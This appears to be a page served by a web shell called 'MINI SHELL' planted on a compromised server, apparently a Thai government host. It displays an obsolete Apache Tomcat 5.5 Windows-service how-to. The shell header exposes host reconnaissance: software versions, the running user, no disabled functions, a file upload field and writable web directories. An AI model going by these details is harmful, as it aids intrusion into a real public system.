MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/tomcat5/webapps/tomcat-docs/printer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/tomcat5/webapps/tomcat-docs/printer/windows-service-howto.html
<html><head><META http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><title>The Apache Tomcat 5.5 Servlet/JSP Container - Windows service HOW-TO</title><meta value="Mladen Turk" name="author"><meta value="mturk@apache.org" name="email"></head><body vlink="#525D76" alink="#525D76" link="#525D76" text="#000000" bgcolor="#ffffff"><table cellspacing="4" width="100%" border="0"><!--PAGE HEADER--><tr><td colspan="2"><!--JAKARTA LOGO--><a href="http://jakarta.apache.org/"><img border="0" alt="The Jakarta Project" align="left" src="./../images/jakarta-logo.gif"></a><!--PROJECT LOGO--><a href="http://jakarta.apache.org/tomcat/"><img border="0" alt="
      The Apache Tomcat Servlet/JSP Container
    " align="right" src="./../images/tomcat.gif"></a></td></tr><!--HEADER SEPARATOR--><tr><td colspan="2"><hr size="1" noshade="noshade"></td></tr><tr><!--RIGHT SIDE MAIN BODY--><td align="left" valign="top" width="80%"><table cellspacing="4" width="100%" border="0"><tr><td valign="top" align="left"><h1>The Apache Tomcat 5.5 Servlet/JSP Container</h1><h2>Windows service HOW-TO</h2></td><td nowrap="true" valign="top" align="right"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr></table><table cellpadding="2" cellspacing="0" border="0"><tr><td bgcolor="#525D76"><font face="arial,helvetica.sanserif" color="#ffffff"><a name="NOTICE"><strong>NOTICE</strong></a></font></td></tr><tr><td><blockquote>
<p>
    <b>This section of the documentation applies to procrun 1.0, and is now obsolete.</b>
</p>
</blockquote></td></tr></table><table cellpadding="2" cellspacing="0" border="0"><tr><td bgcolor="#525D76"><font face="arial,helvetica.sanserif" color="#ffffff"><a name="Tomcat5 service application"><strong>Tomcat5 service application</strong></a></font></td></tr><tr><td><blockquote>
<p>
    <b>Tomcat5</b> is a service application for running Tomcat5 as NT service.
</p>
</blockquote></td></tr></table><table cellpadding="2" cellspacing="0" border="0"><tr><td bgcolor="#525D76"><font face="arial,helvetica.sanserif" color="#ffffff"><a name="Tomcat5w monitor application"><strong>Tomcat5w monitor application</strong></a></font></td></tr><tr><td><blockquote>
<p>
    <b>Tomcat5w</b> is a GUI application for monitoring and configuring Tomcat
    services.
</p>    
    <p>The available command line options are:</p>
<p> 
    <table>
    <tr><th>//ES//</th>
        <td>Edit service configuration</td>
        <td>This is the default operation. It is called if the no option is
            provided but the executable is renamed to <b>servicenameW.exe</b></td>
    </tr>
    <tr><th>//MS//</th>
        <td>Monitor service</td>
        <td>Put the icon in the system try</td>
    </tr>
    </table>
</p>
</blockquote></td></tr></table><table cellpadding="2" cellspacing="0" border="0"><tr><td bgcolor="#525D76"><font face="arial,helvetica.sanserif" color="#ffffff"><a name="Command line arguments"><strong>Command line arguments</strong></a></font></td></tr><tr><td><blockquote>
<p>
    Each command line directive is in the form of <b>//XX//ServiceName</b>
</p>
    <p>The available command line options are:</p>
<p> 
    <table>
    <tr><th>//TS//</th>
        <td>Run the service as console application</td>
        <td>This is the default operation. It is called if the no option is
            provided. The ServiceName is the name of the executable without
            exe sufix, meaning Tomcat5</td>
    </tr>
    <tr><th>//RS//</th>
        <td>Run the service</td>
        <td>Called only from ServiceManager</td>
    </tr>
    <tr><th>//SS//</th>
        <td>Stop the service</td>
        <td></td>
    </tr>
    <tr><th>//US//</th>
        <td>Update service parameters</td>
        <td></td>
    </tr>
    <tr><th>//IS//</th>
        <td>Install service</td>
        <td></td>
    </tr>
    <tr><th>//DS//</th>
        <td>Delete service</td>
        <td>Stops the service if running</td>
    </tr>        
    </table>
</p> 
</blockquote></td></tr></table><table cellpadding="2" cellspacing="0" border="0"><tr><td bgcolor="#525D76"><font face="arial,helvetica.sanserif" color="#ffffff"><a name="Command line parameters"><strong>Command line parameters</strong></a></font></td></tr><tr><td><blockquote>
<p>
    Each command parameter is prefixed with <b>--</b>.
    If the command line is prefixed with <b>++</b> then it's value will
    be appended to the existing option.
    If the environment variable with the same name as command line parameter but
    prefixed with <code>PR_</code> exists it will take precedence.
    For example:
<div align="left"><table border="0" cellpadding="0" cellspacing="4"><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#ffffff"><pre>set PR_CLASSPATH=xx.jar</pre></td><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr></table></div>
</p>    
<p>is equivalent to providing
<div align="left"><table border="0" cellpadding="0" cellspacing="4"><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#ffffff"><pre>--Classpath=xx.jar</pre></td><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr></table></div>
</p>
<p> as command line parameter.</p>
<p> 
    <table>
    <tr>
    <th>ParameterName</th>
	<th>Default</th>
	<th>Description</th>
	</tr> 
    <tr>
    <td>--Description</td>
    <td></td>
    <td>Service name description (maximum 1024 characters)</td>
    </tr>
    <tr>
    <td>--DisplayName</td>
    <td>ServiceName</td>
    <td>Service display name</td>
    </tr>
    <tr>
    <td>--Install</td>
    <td>procrun.exe //RS//ServiceName</td>
    <td>Install image</td>
    </tr>
    <tr>
    <td>--Startup</td>
    <td>manual</td>
    <td>Service startup mode can be either <b>auto</b> or <b>manual</b></td>
    </tr>
    <tr>
    <td>--DependsOn</td>
    <td></td>
    <td>List of services that this service depend on. Dependent services
        are separated using either <b>#</b> or <b>;</b> characters</td>
    </tr>
    <tr>
    <td>--Environment</td>
    <td></td>
    <td>List of environment variables that will be provided to the service
        in the form <b>key=value</b>. They are separated using either
        <b>#</b> or <b>;</b> characters</td>
    </tr>
    <tr>
    <td>--User</td>
    <td></td>
    <td>User account used for running executable. It is used only for
    	StartMode <b>java</b> or <b>exe</b> and enables running applications
    	as service under account without LogonAsService privilege.</td>
    </tr>
    <tr>
    <td>--Password</td>
    <td></td>
    <td>Password for user account set by --User parameter</td>
    </tr>
    <tr>
    <td>--JavaHome</td>
    <td>JAVA_HOME</td>
    <td>Set a different JAVA_HOME then defined by JAVA_HOME environment
        variable</td>
    </tr>
    <tr>
    <td>--Jvm</td>
    <td>auto</td>
    <td>Use either <b>auto</b> or specify the full path to the <b>jvm.dll</b>.
        You can use the environment variable expansion here.</td>
    </tr>
    <tr>
    <td>--JvmOptions</td>
    <td>-Xrs</td>
    <td>List of options in the form of <b>-D</b> or <b>-X</b> that will be
        passed to the JVM. The options are separated using either
        <b>#</b> or <b>;</b> characters.</td>
    </tr>
    <tr>
    <td>--Classpath</td>
    <td></td>
    <td>Set the Java classpath</td>
    </tr>
    <tr>
    <td>--JvmMs</td>
    <td></td>
    <td>Initial memory pool size in MB</td>
    </tr>
    <tr>
    <td>--JvmMx</td>
    <td></td>
    <td>Maximum memory pool size in MB</td>
    </tr>
    <tr>
    <td>--JvmSs</td>
    <td></td>
    <td>Thread stack size in KB</td>
    </tr>
    <tr>
    <tr>
    <td>--StartImage</td>
    <td></td>
    <td>Executable that will be run.</td>
    </tr>
    <tr>
    <td>--StartPath</td>
    <td></td>
    <td>Working path for the start image executable.</td>
    </tr>
    <tr>
    <td>--StartClass</td>
    <td></td>
    <td>Class that will be used for startup.</td>
    </tr>
    <tr>
    <td>--StartParams</td>
    <td></td>
    <td>List of parameters that will be passed to either StartImage or
        StartClass. Parameters are separated using either <b>#</b> or
        <b>;</b> character.</td>
    </tr>
    <tr>
    <td>--StartMethod</td>
    <td>Main</td>
    <td>Method name if differs then main</td>
    </tr>
    <tr>
    <td>--StartMode</td>
    <td>executable</td>
    <td>Can one of <b>jvm</b> <b>java</b> or <b>exe</b></td>
    </tr>
    <td>--StopImage</td>
    <td></td>
    <td>Executable that will be run on Stop service signal.</td>
    </tr>
    <tr>
    <td>--StopPath</td>
    <td></td>
    <td>Working path for the stop image executable.</td>
    </tr>
    <tr>
    <td>--StopClass</td>
    <td></td>
    <td>Class that will be used on Stop service signal.</td>
    </tr>
    <tr>
    <td>--StopParams</td>
    <td></td>
    <td>List of parameters that will be passed to either StopImage or
        StopClass. Parameters are separated using either <b>#</b> or
        <b>;</b> character.</td>
    </tr>
    <tr>
    <td>--StopMethod</td>
    <td>Main</td>
    <td>Method name if differs then main</td>
    </tr>
    <tr>
    <td>--StopMode</td>
    <td>executable</td>
    <td>Can one of <b>jvm</b> <b>java</b> or <b>exe</b></td>
    </tr>
    <tr>
    <td>--StopTimeout</td>
    <td>No Timeout</td>
    <td>Defines the timeout in seconds that procrun waits for service to
        exit gracefully.</td>
    </tr>
    <tr>
    <td>--LogPath</td>
    <td>working path</td>
    <td>Defines the path for logging</td>
    </tr>
    <tr>
    <td>--LogPrefix</td>
    <td>jakarta_service</td>
    <td>Defines the service log filename</td>
    </tr>
    <tr>
    <td>--LogLevel</td>
    <td>INFO</td>
    <td>Defines the logging level and can be either <b>error</b>,
        <b>info</b>, <b>warn</b> or <b>debug</b></td>
    </tr>
    <tr>
    <td>--StdOutput</td>
    <td></td>
    <td>Redirected stdout filename</td>
    </tr>
    <tr>
    <td>--StdError</td>
    <td></td>
    <td>Redirected stderr filename</td>
    </tr>    
    </table>
</p> 
</blockquote></td></tr></table><table cellpadding="2" cellspacing="0" border="0"><tr><td bgcolor="#525D76"><font face="arial,helvetica.sanserif" color="#ffffff"><a name="Installing services"><strong>Installing services</strong></a></font></td></tr><tr><td><blockquote>
<p>
The safest way to manually install the service is to use the provided <b>service.bat</b> script.
</p>
<p>
<div align="left"><table border="0" cellpadding="0" cellspacing="4"><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#ffffff"><pre>
Install the service named 'Tomcat5'
C:\&gt; service.bat install
</pre></td><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr></table></div>
</p>
<p>
If using tomcat5.exe, you need to use the <b>//IS//</b> parameter.
</p>
<p>
<div align="left"><table border="0" cellpadding="0" cellspacing="4"><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#ffffff"><pre>
Install the service named 'Tomcat5'
C:\&gt; tomcat5 //IS//Tomcat5 --DisplayName="Apache Tomcat 5" \
C:\&gt; --Install="C:\Program Files\Tomcat\bin\tomcat5.exe" --Jvm=auto \
C:\&gt; --StartMode=jvm --StopMode=jvm \
C:\&gt; --StartClass=org.apache.catalina.startup.Bootstrap --StartParams=start \
C:\&gt; --StopClass=org.apache.catalina.startup.Bootstrap --StopParams=stop
</pre></td><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr></table></div>
</p>
</blockquote></td></tr></table><table cellpadding="2" cellspacing="0" border="0"><tr><td bgcolor="#525D76"><font face="arial,helvetica.sanserif" color="#ffffff"><a name="Updating services"><strong>Updating services</strong></a></font></td></tr><tr><td><blockquote>
<p>
To update the service parameters, you need to use the <b>//US//</b> parameter.
</p>
<p>
<div align="left"><table border="0" cellpadding="0" cellspacing="4"><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#ffffff"><pre>
Update the service named 'Tomcat5
C:\&gt; tomcat5 //US//Tomcat5 --Description="Apache Tomcat Server - http://jakarta.apache.org/tomcat " \
C:\&gt; --Startup=auto --Classpath=%JAVA_HOME%\lib\tools.jar;%CATALINA_HOME%\bin\bootstrap.jar
</pre></td><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr></table></div>
</p>
</blockquote></td></tr></table><table cellpadding="2" cellspacing="0" border="0"><tr><td bgcolor="#525D76"><font face="arial,helvetica.sanserif" color="#ffffff"><a name="Removing services"><strong>Removing services</strong></a></font></td></tr><tr><td><blockquote>
<p>
To remove the service, you need to use the <b>//DS//</b> parameter.<br>
If the service is running it will be stopped and then deleted.
</p>
<p>
<div align="left"><table border="0" cellpadding="0" cellspacing="4"><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#ffffff"><pre>
Remove the service named 'Tomcat5'
C:\&gt; tomcat5 //DS//Tomcat5
</pre></td><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr></table></div>
</p>
</blockquote></td></tr></table><table cellpadding="2" cellspacing="0" border="0"><tr><td bgcolor="#525D76"><font face="arial,helvetica.sanserif" color="#ffffff"><a name="Debugging services"><strong>Debugging services</strong></a></font></td></tr><tr><td><blockquote>
<p>
To run the service in console mode, you need to use the <b>//TS//</b> parameter.
The service shutdown can be initiated by pressing <b>CTRL+C</b> or
<b>CTRL+BREAK</b>.
If you rename the tomcat5.exe to testservice.exe then you can just execute the
testservice.exe and this command mode will be executed by default.
</p>
<p>
<div align="left"><table border="0" cellpadding="0" cellspacing="4"><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#ffffff"><pre>
Run the service named 'Tomcat5' in console mode
C:\&gt; tomcat5 //TS//Tomcat5 [additional arguments]
Or simply execute:
C:\&gt; tomcat5
</pre></td><td width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr><tr><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td><td height="1" width="1" bgcolor="#023264"><img border="0" hspace="0" vspace="0" height="1" width="1" src="./../images/void.gif"></td></tr></table></div>
</p>
</blockquote></td></tr></table></td></tr><!--FOOTER SEPARATOR--><tr><td colspan="2"><hr size="1" noshade="noshade"></td></tr><!--PAGE FOOTER--><tr><td colspan="2"><div align="center"><font size="-1" color="#525D76"><em>
        Copyright &copy; 1999-2005, Apache Software Foundation
        </em></font></div></td></tr></table></body></html>

Anon7 - 2021